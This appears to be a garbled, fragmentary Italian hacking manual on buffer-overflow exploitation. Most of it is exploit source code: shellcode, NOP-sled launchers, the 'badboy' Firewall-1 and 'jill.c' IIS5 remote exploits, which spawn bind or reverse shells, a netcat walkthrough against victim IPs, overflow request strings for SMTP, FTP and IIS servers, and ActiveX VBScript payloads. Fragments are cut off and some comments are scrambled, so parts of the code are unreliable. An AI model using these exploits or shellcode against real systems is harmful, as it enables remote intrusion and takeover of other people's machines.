char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP;
if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell <offset>]\n"); }
[-a
<alignment>]
[-b
<buffersize>]
[-e
<eggsize>]
[-o
Esempio di exploits con shellcode. La seguente shellcode crea un socket di ascolto sulla porta 36864 e avvia una shell, redirigendo standard input, output ed error sul socket stesso. Una volta corrotto il buffer e sovrascritto l'indirizzo di ritorno, con un semplice programma che si connette al socket si ottiene una shell remota sulla macchina vittima.
#include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x72" /* socket() */ "\x5e" "\x29\xc0" "\x89\x46\x10" "\x40" "\x89\xc3" "\x89\x46\x0c" "\x40" "\x89\x46\x08" "\x8d\x4e\x08"
/* jmp callz */ /* popl %esi */ /* subl %eax, %eax */ /* movl %eax, 0x10(%esi) */ /* incl %eax */ /* movl %eax, %ebx */ /* movl %eax, 0x0c(%esi) */ /* incl %eax */ /* movl %eax, 0x08(%esi) */ /* leal 0x08(%esi), %ecx */
/* movb $0x90, %al */ /* movw %ax, 0x16(%esi) */ /* leal 0x14(%esi), %ecx */ /* movl %ecx, 0x0c(%esi) */ /* leal 0x08(%esi), %ecx */ /* movb $0x66, %al */ /* int $0x80 */ /* /* /* /* /* movl %ebx, 0x0c(%esi) */ incl %ebx */ incl %ebx */ movb $0x66, %al */ int $0x80 */
/* movl %edx, 0x0c(%esi) */ /* movl %edx, 0x10(%esi) */ /* movb $0x66, %al */ /* incl %ebx */ /* int $0x80 */ /* xchgb %al, %bl */ /* movb $0x3f, %al */ /* subl %ecx, %ecx */ /* int $0x80 */ /* movb $0x3f, %al */ /* incl %ecx */ /* int $0x80 */ /* movb $0x3f, %al */ /* incl %ecx */ /* int $0x80 */ /* movb %dl, 0x07(%esi) */ /* movl %esi, 0x0c(%esi) */ /* xchgl %esi, %ebx */ /* leal 0x0c(%ebx), %ecx */ /* movb $0x0b, %al */ /* int $0x80 */ /* call start */
Lo stack inizia per ogni programma allo stesso indirizzo. La maggior parte dei programmi non impilano pi di qualche centinaio o migliaio di byte sullo stack. Quindi, sapendo dove inizia lo stack si pu provare ad indovinare dove si trovi il buffer. Il programma prende come parametri una dimensione di buffer e un offset dallo stack pointer e prova ad indovinare esattamente dove sia l'indirizzo d'inizio del codice. Un modo per aumentare le nostre probabilit di riuscita consiste nel riempire l'inizio del buffer con istruzioni NOP, cio, l'operazione nulla. Si riempie per met il buffer, si mette il codice della shell al centro e poi l'indirizzo di ritorno. Se l'indirizzo di ritorno punta in mezzo alle operazioni NOP, queste vengono eseguite e poi viene eseguito il codice. Assumendo che S stia per il codice della shell, N per l'istruzione NOP, lo stack si presenta come segue:
Una buona scelta per la dimensione del buffer 100 byte pi del buffer vittima. Questa scelta posiziona il codice alla fine del buffer, lasciando ampio spazio per le operazioni NOP, ma permette ancora di sovrascrivere l'indirizzo di ritorno con quello indovinato. La stringa per creare l'overflow viene inserita nella variabile di ambiente EGG. Qui a seguito potete vedere un esempio di exploit che utilizza questo metodo dei NOP.
/* badboy.c - Win32 Checkpoint Firewall-1 overflow exploit by Indigo <[email protected]> 2001 Usage: badboy <victim port> The shellcode spawns a shell on the chosen port Main shellcode adapted from code written by [email protected] Greets to: Morphsta, Br00t, Macavity, Jacob & Monkfish...Not forgetting DNiderlunds */ #include <windows.h> #include <stdio.h> int main(int argc, char **argv) { unsigned char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
printf ("\nFirewall-1 buffer overflow launcher\nby Indigo <[email protected]> 2001\n\n"); printf ("To perform this exploit you must attack from a valid GUI client machine\n"); printf ("i.e. your IP address must be contained in the $FWDIR/conf/gui-clients file\n"); printf ("This program will create a binary file called exploit.bin\n"); printf ("First open the Firewall-1 GUI log viewer program then enter\nthe victim IP address in the Management Server field\n"); printf ("and a few random characters in the password field,\n"); printf ("open badboy.bin in notepad, highlight it all then copy it to the clipboard.\n"); printf ("Paste it into the User Name field of the GUI log viewer then click OK.\n\n"); printf ("Launch netcat: nc <victim host> <victim port>\n"); printf ("\nThe exploit spawns a SYSTEM shell on the chosen port\n\n"); if (argc != 2) { printf ("Usage: %s <victim port>\n", argv[0]); exit (0); } a_port = htons(atoi(argv[1])); a_port^= 0x9999; shellcode[1567]= (a_port) & 0xff; shellcode[1568]= (a_port >> 8) & 0xff;
La DLL che aveva il problema era x:\winnt\system32\msw3prt.dll Se aprivamo con telnet o con netcat una comunicazione con il server WEB mediante : telnet host 80 e digitavamo : GET /NULL.printer http/1.0 Host: [buffer di 420 bytes] Allora causavamo un buffer overflow che obbligava inetinfo.exe a ripartire dopo un crash. Lexploit relativo a questo bug il seguente.
/* IIS 5 remote .printer overflow. "jill.c" (don't ask). * * by: dark spyrit <[email protected]> * * respect to eeye for finding this one - nice work. * shouts to halvar, neofight and the beavuh bitchez. * * this exploit overwrites an exception frame to control eip and get to * our code.. the code then locates the pointer to our larger buffer and * execs. * * usage: jill <victim host> <victim port> <attacker host> <attacker port> * * the shellcode spawns a reverse cmd shell.. so you need to set up a * netcat listener on the host you control. * * Ex: nc -l -p <attacker port> -vv * * I haven't slept in years. */ #include #include #include #include #include #include #include #include #include #include #include #include <sys/types.h> <sys/time.h> <sys/socket.h> <netinet/in.h> <arpa/inet.h> <unistd.h> <errno.h> <stdlib.h> <stdio.h> <string.h> <fcntl.h> <netdb.h>
int main(int argc, char *argv[]){ /* the whole request rolled into one, pretty huh? carez. */ unsigned char sploit[]= "\x47\x45\x54\x20\x2f\x4e\x55\x4c\x4c\x2e\x70\x72\x69\x6e\x74\x65\x72\x20" "\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x42\x65\x61\x76\x75\x68\x3a\x20" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90" "\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95" "\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95" "\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3" "\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa" "\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91" "\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6" "\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56" "\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55" "\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95" "\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95" "\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"
if ((ht = gethostbyname(argv[1])) == 0){ herror(argv[1]); exit(1); } sin.sin_port = htons(atoi(argv[2])); a_port = htons(atoi(argv[4])); a_port^=0x9595; sin.sin_family = AF_INET;
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){ perror("socket"); exit(1); } printf("\nconnecting... \n"); if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){ perror("connect"); exit(1); } write(s, sploit, strlen(sploit)); sleep (1); close (s); printf("sent... \nyou may need to send a carriage on your listener if the shell doesn't appear.\nhave fun!\n"); exit(0); }
Dopo aver compilato con Cgwin lexploit utilizziamo netcat per eseguire il listening sul sistema attaccante. C:\> nc vv l p 2002 Ora lanciamo JILL usando la stessa porta settata su netcat. C:\> jill 192.168.255.123 80 192.168.200.22 2002 Iis5 remote .printer overflow. Dark spyrit [email protected] / beavuh labs. Connecting. Sent. You may need to sende a carriage on your listener if the shell doesnt appear. Have fun! Se tutto va come sperato dopo qualche istante apparir un shell remota. Precedentemente, nel capitolo relativo ai WEB Server, avevamo visto il BUG legato ai file IDQ e IDA. In pratica questo bugs permetteva specificando da browser il nome di un file con queste estensioni non esistente di avere come risposta il percorso di sistema di dove si trovava la radice del web. Legate alle DLL di gestione di questi files esiste un altro problema legato ai buffer overflow. Questo problema quello che il WORM CODE RED ha utilizzato per eseguire lexploit. Il buffer overflow simile a quello appena visto nelle pagine precedenti. Sempre nello stesso modo, con telnet o netcat, possibile aprire una connessione con il WEB Server della vittima utilizzante IIS. Quindi :
C:\> telnet 192.168.255.12 80 A connessione avvenuta si deve digitare : GET /null.ida?[buffer di 240 bytes]=X HTTP/1.1 Host: [valore arbitrario] Buffer un array di almeno 240 bytes il quale viene passato alla DLL di gestione idq.dll o ida.dll. Un altro caso di sicurezza legato ai buffer overflow stato segnalato per quello che riguarda un usatissimo mail server e precisamente CMail SMTP Server. Il mail server sopra citato consente un attacco di tipo buffer overflow da remoto. Il meccanismo quello consueto: l'invio di una stringa di grandi dimensioni come argomento di un comando SMTP; in particolare, l'invio di una stringa di circa 7090 caratteri come username del mittente di posta, come qui sotto riportato. $ telnet example.com 25 Trying example.com... Connected to example.com. Escape character is '^]'. 220 SMTP services ready. Computalynx CMail Server Version: 2.4 helo nome 250 Hello nome [indirizzo IP del mittente], how are you today? MAIL FROM: cmail <[buffer]@cmaildotcom.com> dove in [buffer] si sostituisca la stringa di grandi dimensioni. Il problema era presente gi nella versione 2.3 del server, ma non stato risolto. A questo punto vediamo un buffer overflow legato ad un altrettanto usato FTP Server e precisamente WFTPD. Il server FTP WFTPD, nelle versioni 2.34 e 2.40 (nonch nelle versioni precedenti), pu essere attaccato con successo da remoto, con un attacco di tipo buffer overflow, inviando sue stringhe di grandi dimensioni in argomento a comandi MKD e CWD, come di seguito indicato. Primo comando: MKD aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Secondo comando: CWD aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Il problema affligge il server sia sotto Win 9x che sotto Windows NT. Uno degli ultimissimi casi venuti fuori relativo a SQL Server sia per quanto riguarda la versione 7.0 che la versione 2000. SQL Server permette la connessione da remoto alla sorgente dati. Una delle possibilit di questa potenzialit quella di permettere la creazione di connessioni ad hoc verso una sorgente di dati remota senza dover settare un server collegato. Questo possibile grazie a OLE DB provider il quale appunto un data source provider di alto livello. La potenzialit disponibile invocando direttamente il provider OLE DB attraverso il nome usato per connettersi a una sorgente di dati remota.
Sono stati presentati da Shane Hird degli esempi di codice per effettuare gli attacchi: per tutti gli esempi presentati, l'autore ha indicato a titolo di esempio il salto all'invocazione di ExitProcess, ma naturalmente il codice da eseguire pu essere arbitrariamente scelto dall'attaccante. EyeDog <object classid="clsid:06A7EC63-4E21-11D0-A112-00A0C90543AA" id="eye"></object> <script language="vbscript"> <!-msgbox("EYEDOG OLE Control module Buffer Overrun (Local Version)" + Chr(10) + "Written by Shane Hird") ' Padding per l'attacco expstr = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAA" ' indirizzo per la RET: ExitProcess, BFF8D4CA expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191) ' Chiamata al metodo attaccato, MSInfoLoadFile eye.MSInfoLoadFile(expstr)
' con le NOP che seguono si "risistema" lo stack alle corrette dimensioni expstr = expstr + Chr(144) + Chr(144) + Chr(144) + Chr(144) + Chr(144) ' MOV EDI, ESP expstr = expstr + Chr(139) + Chr(252) ' ADD EDI, 19 (dimensione del codice) expstr = expstr + Chr(131) + Chr(199) + Chr(25) ' PUSH EAX (Window Style EAX = 1) expstr = expstr + Chr(80) ' PUSH EDI (Indirizzo della linea di comando) expstr = expstr + Chr(87) ' MOV EDX, BFFA0960 (WinExec, Win98) expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191) ' CALL EDX expstr = expstr + Chr(255) + Chr(210) ' XOR EAX, EAX expstr = expstr + Chr(51) + Chr(192) ' PUSH EAX
' MOV EDX, BFF8D4CA (ExitProcess, Win98) expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) + Chr(191) ' CALL EDX expstr = expstr + Chr(255) + Chr(210) ' Il comando rimpiazzabile con qualsiasi altro, ' seguito da uno zero (inserito automaticamente dal sistema) expstr = expstr + "CALC.EXE" ' Chiamata al metodo da attaccare pdf.setview(expstr) --></script> SETUPCTL <object classid="clsid:F72A7B0E-0DD8-11D1-BD6E-00AA00B92AF1" id = "setupctl"> </object> <script language="vbscript"><!--msgbox("Setupctl 1.0 Type Library Buffer Overrun" + Chr(10) + "Written by Shane Hird") expstr="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" expstr = expstr + Chr(235) expstr = expstr + Chr(53) expstr = expstr + Chr(208) expstr = expstr + Chr(127) 'Indirizzo di JMP ESP nella SHELL32 di Win98 (7FD035EB)
' le NOP inserite sono utili per il debug expstr = expstr + Chr(144) ' MOV EDI, ESP expstr = expstr + Chr(139) + Chr(252) ' ADD EDI, 19h (Dimensione del codice) expstr = expstr + Chr(131) + Chr(199) + Chr(25) ' PUSH EAX (Window Style EAX = 41414141) expstr = expstr + Chr(80) ' PUSH EDI (Indirizzo della linea di comando) expstr = expstr + Chr(87) ' MOV EDX, BFFA0960 (WinExec, Win98) expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191) ' CALL EDX expstr = expstr + Chr(255) + Chr(210) ' XOR EAX, EAX expstr = expstr + Chr(51) + Chr(192) ' PUSH EAX expstr = expstr + Chr(80)
' le NOP presenti facilitano il debug expstr = expstr + Chr(144) ' MOV EDI, ESP expstr = expstr + Chr(139) + Chr(252) ' ADD EDI, 19 (Dimensione del codice) expstr = expstr + Chr(131) + Chr(199) + Chr(25) ' PUSH EAX (Window Style EAX = 41414141) expstr = expstr + Chr(80) ' PUSH EDI (Indirizzo della linea di comando) expstr = expstr + Chr(87) ' MOV EDX, BFFA0960 (WinExec, Win98) expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191) ' CALL EDX expstr = expstr + Chr(255) + Chr(210) ' XOR EAX, EAX
Port-Binding Shellcode
Quando state eseguendo un exploit di un daemon remoto con uno shellcode generico, potrebbe essere necessario avere una connessione attiva TCP per eseguire una PIPE della shell su stdin/out/err Questo utilizzabile con tutti gli exploit remoti di Linux. Potrebbe per capitare che una nuova vulnerabilit venga trovata in un daemon che ofre solo servizi UDP (SNMP per esempio). Potrebbe anche essere solo possibile accedere al daemon via UDP a causa delle porte TCP filtrate da qualche firewall. Al momento le vulnerabilit di Linux explottabili via UDP, sia BIND come tutti I servizi rpc eseguono sia UDP che TCP. Allo stesso modo se inviate lexploit via UDP potrebbe essere semplice falsificare i pacchetti UDP attaccanti in modo tale da non apparire in nessun log. Per eseguire lexploit di daemons via UDP potreste scrivere un shellcode per modificare il file password o per eseguire alcuni altri scopi anche se per di fatto quello di aprire una shell il massimo. Chiaramente non possibile adattare una pipe UDP in uno shellcode, in quanto avreste la necessit di avere una connessione TCP. Per questo nata lidea di scrivere una shellcode che si comporta come una backdoor, legata ad una porta in modo che questa venga eseguita quando ricevuta una connessione. Un esempio di codice di questo tipo : int main() { char *name[2]; int fd,fd2,fromlen; struct sockaddr_in serv; fd=socket(AF_INET,SOCK_STREAM,0); serv.sin_addr.s_addr=0; serv.sin_port=1234; serv.sin_family=AF_INET; bind(fd,(struct sockaddr *)&serv,16); listen(fd,1); fromlen=16; /*(sizeof(struct sockaddr)*/ fd2=accept(fd,(struct sockaddr *)&serv,&fromlen); /* "connect" fd2 to stdin,stdout,stderr */ dup2(fd2,0); dup2(fd2,1); dup2(fd2,2); name[0]="/bin/sh"; name[1]=NULL; execve(name[0],name,NULL); } Ovviamente questa richiede una spazo maggiore di quello richiesto da una shellcode normale ma in ogni caso pu essere scritta in meno di 200 bytes. Considerate che spesso i buffers sono un p pi grandi di questo spazio. Esiste una complicazione aggiuntiva legata al fatto che la sycall legata al socket un p differente rispetto ale altre syscalls, sotto Linux. Ogni chiamata a un socket possiede lo stesso numero 0x66. Per differenziare le diverse socket calls, viene inserito un sottocodice dentro a %ebx. Questo dentro a <linux/net.h>. Quello importante : SYS_SOCKET SYS_BIND SYS_LISTEN 1 2 4
Dobbiamo anche conoscere il valore della costante e la struttura esatta di sockaddr_in. Tutto questo nuovamente dentro al file di prima: AF_INET == 2 SOCK_STREAM == 1 struct sockaddr_in { short int sin_family; /* 2 byte word, containing AF_INET */ unsigned short int sin_port; /* 2 byte word, containg the port in network byte order */ struct in_addr sin_addr /* 4 byte long, should be zeroed */ unsigned char pad[8]; /* should be zero, but doesn't really matter */ }; A questo punto esistono solo due registri liberi, quindi gli argomenti devono essere inseriti dentro alla memoria e %ecx deve contenere lindirizzo di questa. Ora dobbiamo salvare gli argomenti alla fine dello shellcode. I primi 12 bytes devono contenere tre argomenti long arguments, I succesivi 16 devono contenere la struttura sockaddr_in mentra I 4 bytes finali contengono fromlen per la call a accept(). Alla fine i risultati di ciascuna syscall sono inseriti dentro a %eax.
----portshell.S---.globl main main: /* I had to put in a "bounce" in the middle of the code as the shellcode * was too big. If I had made it jmp the entire shellcode, the instruction * would have contained a null byte, so if anyone has a shorter version, * please send me it. */ jmp bounce start: popl %esi /* socket(2,1,0) */ xorl %eax,%eax movl %eax,0x8(%esi) movl %eax,0xc(%esi) movl %eax,0x10(%esi) incb %al movl %eax,%ebx movl %eax,0x4(%esi) incb %al movl %eax,(%esi) movw %eax,0xc(%esi) leal (%esi),%ecx movb $0x66,%al int $0x80
/* 3rd arg == 0 */ /* zero out sock.sin_family&sock.sin_port */ /* zero out sock.sin_addr */ /* socket() subcode == 1 */ /* 2nd arg == 1 */ /* /* /* /* 1st arg == 2 */ sock.sin_family == 2 */ load the address of the arguments into %ecx */ set socket syscall number */
/* bind(fd,&sock,0x10) */ incb %bl /* bind() subcode == 2 */ movb %al,(%esi) /* 1st arg == fd (result from socket()) */ movl %ecx,0x4(%esi) /* copy address of arguments into 2nd arg */ addb $0xc,0x4(%esi) /* increase it by 12 bytes to point to sockaddr struct */ movb $0x10,0x8(%esi) /* 3rd arg == 0x10 */ movb $0x23,0xe(%esi) /* set sin.port */ movb $0x66,%al /* no need to set %ecx, it is already set */ int $0x80
/* /* /* /*
bind() subcode==2, move this to the 2nd arg */ no need to set 1st arg, it is the same as bind() */ listen() subcode == 4 */ again, %ecx is already set */
/* fd2=accept(fd,&sock,&fromlen) */ incb %bl /* accept() subcode == 5 */ movl %ecx,0x4(%esi) /* copy address of arguments into 2nd arg */ addb $0xc,0x4(%esi) /* increase it by 12 bytes */ movl %ecx,0x4(%esi) /* copy address of arguments into 3rd arg */ addb $0x1c,0x4(%esi) /* increase it by 12+16 bytes */ movb $0x66,%al int $0x80 /* KLUDGE */ jmp skippy bounce: jmp call skippy: /* dup2(fd2,0) dup2(fd2,1) dup2(fd2,2) */ movb %al,%bl /* move fd2 to 1st arg */ xorl %ecx,%ecx /* 2nd arg is 0 */ movb $0x3f,%al /* set dup2() syscall number */ int $0x80 incb %cl /* 2nd arg is 1 */ movb $0x3f,%al int $0x80 incb %cl /* 2nd arg is 2 */ movb $0x3f,%al int $0x80 /* execve("/bin/sh",["/bin/sh"],NULL) */ movl %esi,%ebx addb $0x20,%ebx /* %ebx now points to "/bin/sh" */ xorl %eax,%eax movl %ebx,0x8(%ebx) movb %al,0x7(%ebx) movl %eax,0xc(%ebx) movb $0xb,%al leal 0x8(%ebx),%ecx leal 0xc(%ebx),%edx int $0x80 /* exit(0) */ xorl %eax,%eax movl %eax,%ebx incb %al int $0x80 call: call start .ascii "abcdabcdabcd""abcdefghabcdefgh""abcd""/bin/sh" -----------------------------------------------------
Dopo aver inviato lexploit dovrete solo collegarvi alla porta 8960, e quindi interagire con la shell. Il seguente esempio invece indirizzato a FreeBSD ----fbsd.S---.globl main main: jmp call start: /* Modify the ascii string so it becomes lcall 7,0 */ popl %esi
Struttura di un ELF.
Quella porzione di memoria di cui parlavamo e' destinata a contenere alcune tabelle proprietarie del formato ELF per la rilocazione. Ogni programma compilato come ELF contiene soltanto il codice delle funzioni scritte da noi (es. il main) mentre tutte le funzioni di libreria (printf, strcpy,...) rimangono in una shared library esterna (le libc) e vengono poi caricate in memoria soltanto quando servono. Questo quindi non ci permette di sapere la posizione assoluta del reale codice di una chiamata in una library esterna. La soluzione e' quindi caricare la parte di libreria esterna solo quando strettamente necessario e ricavare dall'header della libreria il puntatore al codice necessario. Il nostro codice ovviamente da qualche parte deve jumpare per chiamarle. Allora ecco che sono nate la GOT e la PLT. GOT = Global Offset Table PLT = Procedure Linkage Table Queste due tabelle fanno parte della cosiddette 'dynamic relocation entries' del nostro eseguibile.
DYNAMIC RELOCATION RECORDS OFFSET TYPE [...] 0804976c R_386_JUMP_SLOT 08049770 R_386_JUMP_SLOT 08049774 R_386_JUMP_SLOT 08049778 R_386_JUMP_SLOT [...]
Il tipo di rilocazione dipende anche da cosa stiamo rilocando, principalmente per le funzioni di libreria si usa soltanto l'R_386_JUMP_SLOT. Prendendo l'esempio: la funzione sscanf ha un'entry nella GOT all'indirizzo 0x08049778. Quando un programma effettua una chiamata alla scanf(), in realta' passa all'indirizzo associato nella jump table (il famoso offset). Questo permette di creare un 'wrapper' per le funzioni. E possibile invece di chiamare la printf di richimare un indirizzo contenuto nella GOT. Questo wrapper prima di tutto carichera' in memoria la parte di libc contenente il codice della printf e poi lo richiamera'. Tutta la serie di procedure di wrapping e la procedura principale per caricare una determinata funzione e' contenuta nella PLT. Questo esempio penso vi chiarara' un pochino le idee (faccio riferimento alla objdumpata di prima): $ gdb ./timer (gdb) x 0x08049778 0x8049778 <_GLOBAL_OFFSET_TABLE_+40>: 0x0804840a /* questo vuol dire che la parte di PLT per il load della sscanf e' all'indirizzo 0x0804840a */ (gdb) disass 0x0804840a Dump of assembler code for function sscanf: 0x8048404 : jmp *0x8049778 0x804840a : push $0x38 0x804840f : jmp 0x8048384 <_init+48> /* presumibilimente, con push $0x38 si indica alla procedura di load della libreria l'indice della funzione desiderata o un suo offset, purtroppo non ho ancora trovato un modo per checkare la veridicita' di questa cosa. All'indirizzo 0x8048384 dovrebbe essere contenuta la procedura di load */ (gdb) disass 0x8048384 Dump of assembler code for function _init: [...] 0x8048382 <_init+46>: ret 0x8048383: Cannot access memory at address 0x8048383 /* per accedere a quella parte di memoria ci vuole un piccolo trucco :P */ (gdb) disass 0x8048384 0x80483aa Dump of assembler code from 0x8048384 to 0x80483aa: 0x8048384 <_init+48>: pushl 0x8049754 0x804838a <_init+54>: jmp *0x8049758 /* Ok, chiamiamo di nuovo qualcosa all'interno della GOT passandogli l'indirizzo della funzione che dovremo poi richiamare ... */
Esempi pratici
Cominciamo a fare delle prove un po' forzate... nel senso di provare a sostituire manualmente un qualche indirizzo di funzione. Se avete mai visto gli heap-based buffer overflow il funzionamento e' molto, molto simile al sovrascrivere un puntatore a funzione, solo che sovrascrivi l'indirizzo della funzione stessa Il fattore di difficolta' e' soltanto uno... Riassumendo un attimo lo stato della memoria: indirizzo piu' basso: ------------------- 0xbe000000 circa | | | STACK | | | -------------------- 0xc0000000 circa | ................ | | ................ | | ................ | -------------------- 0x08040000 circa | | | TEXT AREA | | | -------------------- 0x08048000 circa | | | GOT/PLT/... | | | -------------------- 0x80490000 circa | | | BSS/HEAP | | | -------------------- ... Come vedete, dall'heap e' impossibile raggiugnere la GOT poiche' e' prima mentre dallo stack siamo troppo lontani. Il risultato e': come ci arrivo? Bhe... questo lo vedremo nel prossimo paragrafo... modi ce ne sono e l'inventiva umana supera qualsiasi distanza *g* Per ora evitiamo questo problema e proviamo:
} <-X-> Compiliamo con -ggdb e eseguiamo un diump del file object. Come in tutte le funzioni di buffer overflow lo scopo quello di andare a sovrapporsi allindirizzo di ritorno. $ objdump -R ./boh [...] 08049550 R_386_JUMP_SLOT [...] Modifichiamo la variabile: long int *got = 0x08049550; e lanciamo il debugger per ambiente Linux gdb. (gdb) break main Breakpoint 1 at 0x8048442: file boh.c, line 13. (gdb) run Starting program: /home/nail/./boh warning: Unable to find dynamic linker breakpoint function. GDB will be unable to debug shared library initializers and track explicitly loaded dynamic code. Breakpoint 1, main () at boh.c:13 13 *got = (long int)food; (gdb) x 0x8049550 0x8049550 <_GLOBAL_OFFSET_TABLE_+28>: 0x08048342
exit
(gdb) disass exit Dump of assembler code for function exit: 0x4003c79c : push %ebp 0x4003c79d : mov %esp,%ebp [...] Prima di eseguire lassegnazione gdb chiama la funzione nella PLT e solo successivamente disassembla il codice di exit. Eseguiamo ora una sostituzione dindirizzo. (gdb) n 14 exit(0); (gdb) disass exit Dump of assembler code for function exit: 0x4003c79c : push %ebp
